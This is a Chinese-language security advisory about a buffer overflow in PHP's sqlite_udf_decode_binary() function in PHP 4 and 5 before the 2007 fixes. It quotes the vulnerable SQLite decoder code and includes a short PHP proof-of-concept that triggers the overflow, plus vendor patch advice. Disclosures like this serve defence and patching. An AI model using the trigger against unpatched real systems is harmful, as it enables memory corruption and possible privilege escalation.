安全研究

安全漏洞
PHP sqlite_udf_decode_binary()函数缓冲区溢出漏洞

发布日期:2007-03-31
更新日期:2007-04-02

受影响系统:
PHP PHP 5 < 5.2.1
PHP PHP 4 < 4.4.5
不受影响系统:
PHP PHP 5.2.1
PHP PHP 4.4.5
描述:
BUGTRAQ  ID: 23235

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP的sqlite_udf_decode_binary()函数实现上存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞提升自己的权限。

PHP的sqlite_udf_decode_binary()函数没有正确地处理对其传送的无效字符串。如果所传送的字符串仅包含有单个\x01字符的话,就会使用空字符串做为参数调用所捆绑sqlite库的sqlite_decode_binary()函数。但API函数并不支持这样的操作,必须使用长度至少为1的字符串调用。

int sqlite_decode_binary(const unsigned char *in, unsigned char *out){
  int i, e;
  unsigned char c;
  e = *(in++);
  i = 0;
  while( (c = *(in++))!=0 ){
    if( c==1 ){
      c = *(in++) - 1;
    }
    out[i++] = c + e;
  }
  return i;
}

如果使用空字符串调用了sqlite_decode_binary()函数的话,就会跳过ASCIIZ终止符,将之后的字节拷贝到目标,直到遇到另一个ASCIIZ字符。这类似于标准的strcpy()溢出。

<*来源:Stefan Esser (s.esser@ematters.de
  
  链接:http://www.php-security.org/MOPB/MOPB-41-2007.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php

    $z = "UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU";
    $y = "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD";
    $x = "AQ                                                                        ";
    unset($z);
    unset($y);
    $x = base64_decode($x);

    $y = sqlite_udf_decode_binary($x);

    unset($x);
?>

建议:
厂商补丁:

PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.php.net

浏览次数:3909
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障